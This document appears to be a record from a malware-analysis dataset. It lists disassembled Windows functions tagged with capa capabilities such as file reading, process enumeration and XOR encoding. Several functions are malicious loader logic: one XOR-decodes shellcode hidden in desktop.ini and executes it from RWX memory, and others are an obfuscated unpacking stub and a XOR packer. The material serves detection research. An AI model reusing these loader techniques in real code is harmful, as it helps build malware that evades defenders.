joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41d43b
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x46b5f0]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41d47e
cmp word [esi], dx
jne 0x41d47e
or byte [edi + eax + 0x28], 4
jmp 0x41d483
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41d5d6
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41d5b6
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41d4c5
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41d4fb
cmp eax, edx
jae 0x41d507
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41d49d
jmp 0x41d5d6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41d5b2
cmp dword [ebp - 0x14], 0
je 0x41d5b2
mov eax, dword [ebx*4 + 0x46b5f0]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41d58a
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x41d553
mov word [esi], cx
jmp 0x41d586
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x46b5f0]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x46b5f0]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x46b5f0]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x41d5d6
pop ebx
cmp word [ebp - 4], bx
jne 0x41d59b
cmp esi, dword [ebp + 0xc]
jne 0x41d59b
mov word [esi], bx
jmp 0x41d5d3
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041de6f
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41d5d6
push 0xd
jmp 0x41d5cf
mov ecx, dword [ebx*4 + 0x46b5f0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41d5cd
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41d5d6
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41f271
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x41f30e
push ebx
push esi
call fcn.0041f23a
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041e01b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x41f2bb
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41f30d
push edi
push eax
call fcn.00419e40
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x41f2db
call fcn.00418ea9
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x41f30c
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041e01b
add esp, 0x20
test eax, eax
jne 0x41f2fa
push edi
call fcn.00418ea9
jmp 0x41f302
push ebx
call fcn.00418ea9
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x426640
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42666d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42666d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x1005d91
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x100a028]
jne 0x1005d9a
ret
jmp 0x1005d9f
push ebp
lea ebp, [esp - 0x2a8]
sub esp, 0x328
mov eax, dword [0x100a028]
mov dword [ebp + 0x2a4], eax
mov eax, dword [0x101b0cc]
test eax, eax
je 0x1005dc3
call eax
cmp dword [0x101b0d0], 0
je 0x1005e0a
push edi
xor eax, eax
and dword [ebp - 0x28], eax
push 0x13
pop ecx
lea edi, [ebp - 0x7c]
rep stosd dword es:[edi], eax
mov ecx, 0xb2
lea edi, [ebp - 0x24]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x80]
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x28]
push 0
mov dword [ebp - 0x80], 0xc0000409
mov dword [ebp - 0x2c], eax
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea eax, [ebp - 0x30]
push eax
call dword [0x101b0d0]
pop edi
push 0x502
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov ecx, dword [ebp + 0x2a4]
call fcn.01005d91
add ebp, 0x2a8
leave
ret

Function at 0x100702b
Capabilities:
Encode data using xor

Disassembly:
mov ecx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
shr eax, 2
test eax, eax
push edi
mov edi, dword [esp + 0x14]
jle 0x1007066
push ebx
movzx edx, byte [ecx]
xor ebx, ebx
inc ecx
mov bh, byte [ecx]
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x10
or edx, ebx
inc ecx
movzx ebx, byte [ecx]
shl ebx, 0x18
or edx, ebx
inc ecx
xor edi, edx
dec eax
jne 0x1007043
pop ebx
and esi, 3
xor eax, eax
dec esi
je 0x1007082
dec esi
je 0x100707b
dec esi
jne 0x1007087
movzx eax, byte [ecx]
shl eax, 0x10
inc ecx
xor edx, edx
mov dh, byte [ecx]
or eax, edx
inc ecx
movzx ecx, byte [ecx]
or eax, ecx
xor eax, edi
pop edi
pop esi
ret 0xc

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40de38
nop
mov ecx, 0x32f0279
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x645d52ce
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x433084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x411539
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x42c668
call fcn.00411d81
push 1
call fcn.00411884
pop ecx
test al, al
jne 0x411558
push 7
call fcn.00411b88
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.0041184f
mov byte [ebp - 0x24], al
mov eax, dword [0x42ed34]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x411551
test eax, eax
jne 0x4115c2
mov dword [0x42ed34], ecx
push 0x4252c0
push 0x4252a4
call fcn.0041a3ca
pop ecx
pop ecx
test eax, eax
je 0x4115a5
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4116a9
push 0x4252a0
push 0x425298
call fcn.0041a36e
pop ecx
pop ecx
mov dword [0x42ed34], 2
jmp 0x4115c7
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.004119e1
pop ecx
call fcn.00411b7c
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x4115f7
push esi
call fcn.00411954
pop ecx
test al, al
je 0x4115f7
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00411d7b
call esi
call fcn.00411b82
mov esi, eax
cmp dword [esi], edi
je 0x411615
push esi
call fcn.00411954
pop ecx
test al, al
je 0x411615
push dword [esi]
call fcn.0041a68c
pop ecx
push edi
call fcn.00414a0f
pop ecx
call fcn.00411c9d
movzx eax, ax
push eax
call fcn.0041a31b
push eax
push edi
push 0x400000
call main
mov esi, eax
push edi
call fcn.00414aab
pop ecx
call fcn.0041a59b
test al, al
jne 0x41164e
push esi
call fcn.0041a6c4
test bl, bl
jne 0x411657
call fcn.0041a667
push edi
push 1
call fcn.004119fe
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4116a9
call fcn.00411dc7
ret
call fcn.00560000
jmp 0x411539
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x401c66
pop dword [ebp - 0x38]
mov eax, 0xb4f48bb4
add eax, 0x4b4b90b2
sub dword [ebp - 0x38], eax
mov dword [ebp - 0x48], 0x2ea8dfc6
add dword [ebp - 0x48], 0x1fa96585
mov dword [ebp - 0x44], 0x9721322
sub dword [ebp - 0x44], 0xd73ec6dd
mov dword [ebp - 0x40], 0x4958a1f5
sub dword [ebp - 0x40], 0xfd0c5dc7
mov dword [ebp - 0x3c], 0xa3d22a2e
add dword [ebp - 0x3c], 0x5c2dd5d2
lea eax, [ebp - 0x48]
push eax
mov eax, 0xb50a98c9
sub eax, 0xb4ca6875
add eax, dword [ebp - 0x38]
call dword [eax]
mov dword [ebp - 0x48], 0xa227a53d
sub dword [ebp - 0x48], 0x2db53be7
mov dword [ebp - 0x44], 0xfebed039
add dword [ebp - 0x44], 0x42ad913c
mov dword [ebp - 0x40], 0xeef35886
add dword [ebp - 0x40], 0x747c13e6
mov dword [ebp - 0x3c], 0x6540f6d9
add dword [ebp - 0x3c], 0x9abf0927
lea ebx, [ebp - 0x48]
push ebx
push eax
mov eax, 0x3c5863fc
add eax, 0xc3e7cc30
add eax, dword [ebp - 0x38]
call dword [eax]
push 0x40
push 0x1000
push 0x34a1e
push 0
call eax
mov ecx, 0x7d6b500c
sub ecx, 0x7d6b0f71
xor ebx, ebx
add ebx, eax
mov edi, 0x87a658f1
sub edi, 0x8765e8f1
add edi, dword [ebp - 0x38]
mov edx, 0x333d6e69
sub edx, 0xa301312b
mov dword [ebp - 0x24], 0xc6bb47d2
mov esi, dword [edi]
xor dword [ebp - 0x28], edi
sub esi, edx
mov dword [ebx], esi
add dword [ebp - 0x14], ebx
add ebx, 0x5e888d8f
add ebx, 0xa1777275
add edi, 0x93c6bf8f
add edi, 0x6c394075
loop 0x401d8a
add eax, 0xf53f
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x401cbf
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
xor edi, edi

Function at 0x40506b
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
adc al, 0
jne 0x43ddf6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00425812
add esp, 0x10
mov esp, ebp
pop ebp
ret 0x10
invalid
mov eax, dword [ebp - 8]
pop edi
pop esi
jmp 0x40506f

Function at 0x405075
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
cmp byte [ecx + 0x14], 0
adc al, 0
jne 0x43ddf6
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00425812
add esp, 0x10
mov esp, ebp
pop ebp
ret 0x10
invalid
mov eax, dword [ebp - 8]
pop edi
pop esi
jmp 0x40506f
Function at 0x40a000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x118
mov eax, dword [0x4c7480]
je 0x40a05c
invalid
Function at 0x415e58
Capabilities:
Hash data using djb2

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
push edi
xor esi, esi
mov edx, dword [eax + 4]
mov edi, dword [eax]
add edx, edx
mov eax, 0x1505
test edx, edx
jle 0x415e80
movzx ecx, byte [esi + edi]
imul eax, eax, 0x21
add eax, ecx
inc esi
cmp esi, edx
jl 0x415e72
pop edi
pop esi
pop ebp
ret 4

Function at 0x41674e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ebx, ecx
mov dword [ebp - 4], edx
movzx eax, word [ebx]
xor edx, edx
movzx eax, byte [eax + 0x4a5750]
lea ecx, [ebx + eax*2]
call fcn.00418673
mov esi, eax
movzx eax, word [esi]
cmp eax, 0x83
je 0x416825
cmp eax, 0x84
je 0x416825
cmp eax, 0x88
je 0x416825
cmp eax, 0x89
je 0x416825
cmp eax, 0x85
je 0x4514c1
cmp eax, 0x86
je 0x4514c1
cmp eax, 0x8a
je 0x4514c1
cmp eax, 0x8b
je 0x4514c1
cmp eax, 0x7d
je 0x416825
cmp eax, 0x87
je 0x416825
cmp eax, 0x81
je 0x41681b
cmp eax, 0x82
je 0x41681b
cmp eax, 0x55
je 0x451499
cmp eax, 0x56
je 0x451499
cmp eax, 0x5e
je 0x451499
cmp eax, 1
je 0x41682d
cmp eax, 2
je 0x41682d
cmp eax, 0x1b
je 0x41682d
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
inc eax
push eax
jmp fcn.004514d7
push dword [ebp + 0xc]
jmp fcn.004514d7
movzx eax, word [ebx + 2]
lea ebx, [ebx + eax*2]
cmp word [ebx], 0x77
je 0x41675d
xor eax, eax
inc eax
jmp 0x416814
inc esi
jmp fcn.0041655a
inc ebp
add bh, al
adc eax, dword [ebp]
iretd
Function at 0x406470
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x4324c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword fs:[0x2c]
mov ecx, dword [0x4333bc]
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x24c], ebx
mov ecx, dword [eax + ecx*4]
mov eax, dword [0x433100]
cmp eax, dword [ecx + 4]
jg 0x406637
cmp dword [0x432498], 0
jne 0x40661a
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
call fcn.00407250
test al, al
jne 0x406529
push esi
lea eax, [ebp - 0x1c]
push str._05d
push eax
call fcn.00401250
mov esi, eax
add esp, 0xc
cmp esi, 0x432488
je 0x406611
mov ecx, dword [0x43249c]
cmp ecx, 0xf
jbe 0x4065ce
mov edx, dword [0x432488]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4065c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40666d
jmp 0x4065c4
push edi
push 0
push 2
mov dword [ebp - 0x24c], 0
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x228
mov edi, eax
lea eax, [ebp - 0x244]
push 0
push eax
call fcn.0040ee70
add esp, 0xc
mov dword [ebp - 0x248], 0x22c
lea eax, [ebp - 0x248]
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x406597
cmp dword [ebp - 0x240], esi
je 0x40658b
lea eax, [ebp - 0x248]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x406570
jmp 0x406597
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x24c], eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 0x24c]
lea eax, [ebp - 0x1c]
push str._05d__05d
push eax
call fcn.00401250
add esp, 0x10
mov esi, eax
cmp esi, 0x432488
pop edi
jmp 0x4064e6
push ecx
push edx
call fcn.0040d453
add esp, 8
mov dword [0x432498], 0
mov dword [0x43249c], 0xf
mov byte [0x432488], 0
movups xmm0, xmmword [esi]
movups xmmword [0x432488], xmm0
movq xmm0, qword [esi + 0x10]
movq qword [0x432498], xmm0
mov dword [esi + 0x10], 0
mov byte [esi], 0
mov dword [esi + 0x14], 0xf
lea ecx, [ebp - 0x1c]
call fcn.004014b0
pop esi
push 0x432488
mov ecx, ebx
call fcn.004027e0
mov ecx, dword [ebp - 4]
mov eax, ebx
xor ecx, ebp
pop ebx
call fcn.0040d461
mov esp, ebp
pop ebp
ret
push 0x433100
call fcn.0040d734
add esp, 4
cmp dword [0x433100], 0xffffffff
jne 0x4064ad
push 0x4264c0
call fcn.0040d6ce
push 0x433100
call fcn.0040d6e3
add esp, 8
jmp 0x4064ad
call fcn.0041085f
int3
Function at 0x406680
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x425856
mov eax, dword fs:[0]
push eax
sub esp, 0x244
mov eax, dword [0x4324c0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x218], ax
lea eax, [ebp - 0x216]
push eax
mov dword [ebp - 0x24c], esi
call fcn.0040ee70
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea eax, [ebp - 0x218]
push 0x7e
push eax
call fcn.0040eb70
lea ecx, [ebp - 0x218]
add esp, 8
mov edx, eax
lea edi, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406705
sub ecx, edi
mov dword [ebp - 0x220], 0
sar ecx, 1
lea eax, [ebp - 0x218]
mov dword [ebp - 0x21c], 0
xorps xmm0, xmm0
push ecx
lea ecx, [ebp - 0x230]
movups xmmword [ebp - 0x230], xmm0
push eax
test edx, edx
je 0x4067fe
call fcn.00401f10
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 0
push eax
lea eax, [ebp - 0x248]
push eax
call fcn.0040aca0
push eax
push esi
mov byte [ebp - 4], 1
call fcn.00406c90
mov ecx, dword [ebp - 0x234]
add esp, 0x10
cmp ecx, 0xf
jbe 0x4067af
mov edx, dword [ebp - 0x248]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4067a5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406843
push ecx
push edx
call fcn.0040d453
add esp, 8
mov dword [ebp - 0x238], 0
mov dword [ebp - 0x234], 0xf
mov byte [ebp - 0x248], 0
mov ecx, dword [ebp - 0x21c]
cmp ecx, 7
jbe 0x406826
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40681c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x406843
jmp 0x40681c
call fcn.00401f10
lea eax, [ebp - 0x230]
mov dword [ebp - 4], 2
push eax
push esi
call fcn.0040aca0
add esp, 8
jmp 0x4067ca
push ecx
push edx
call fcn.0040d453
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0040d461
mov esp, ebp
pop ebp
ret
call fcn.0041085f
int3
Function at 0x40deab
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40deea
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40deea
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40deea
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40deea
cmp dword [ecx + 0x74], 0xe
jbe 0x40deea
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x418fcb
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00418f4d

Function at 0x41b811
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x433a98]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41b851
cmp byte [ebx], 0xa
jne 0x41b851
or byte [eax + edi + 0x28], 4
jmp 0x41b856
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x41b954
mov al, byte [edx]
cmp al, 0x1a
je 0x41b936
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x41b885
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x41b8aa
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x41b8b4
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x41b867
jmp 0x41b954
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41b931
cmp dword [ebp - 0xc], 0
je 0x41b931
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x433a98]
test byte [eax + edi + 0x28], 0x48
je 0x41b90b
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41b8f6
mov byte [esi], dl
jmp 0x41b907
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x433a98]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41b954
cmp byte [ebp - 1], 0xa
jne 0x41b91a
cmp esi, ebx
jne 0x41b91a
mov byte [esi], 0xa
jmp 0x41b953
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041c245
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41b954
mov byte [esi], 0xd
jmp 0x41b953
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x433a98]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41b950
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41b954
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41b95d
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x433a98]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41b9a0
cmp word [esi], dx
jne 0x41b9a0
or byte [edi + eax + 0x28], 4
jmp 0x41b9a5
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x41bade
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x41babe
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x41b9e7
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41ba1d
cmp eax, edx
jae 0x41ba29
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x41b9bf
jmp 0x41bade
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41baba
cmp dword [ebp - 0x14], 0
je 0x41baba
mov eax, dword [ebx*4 + 0x433a98]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x41ba92
mov cx, word [ebp - 4]
pop eax
cmp cx, ax
je 0x41bad8
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x433a98]
push 0xa
mov byte [edi + eax + 0x2a], cl
mov eax, dword [ebx*4 + 0x433a98]
shr cx, 8
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x433a98]
pop ecx
mov byte [edi + eax + 0x2c], cl
jmp 0x41badb
pop ebx
cmp word [ebp - 4], bx
jne 0x41baa3
cmp esi, dword [ebp + 0xc]
jne 0x41baa3
mov word [esi], bx
jmp 0x41badb
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041c245
add esp, 0x10
cmp word [ebp - 4], bx
je 0x41bade
push 0xd
jmp 0x41bad7
mov ecx, dword [ebx*4 + 0x433a98]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41bad5
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41bade
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret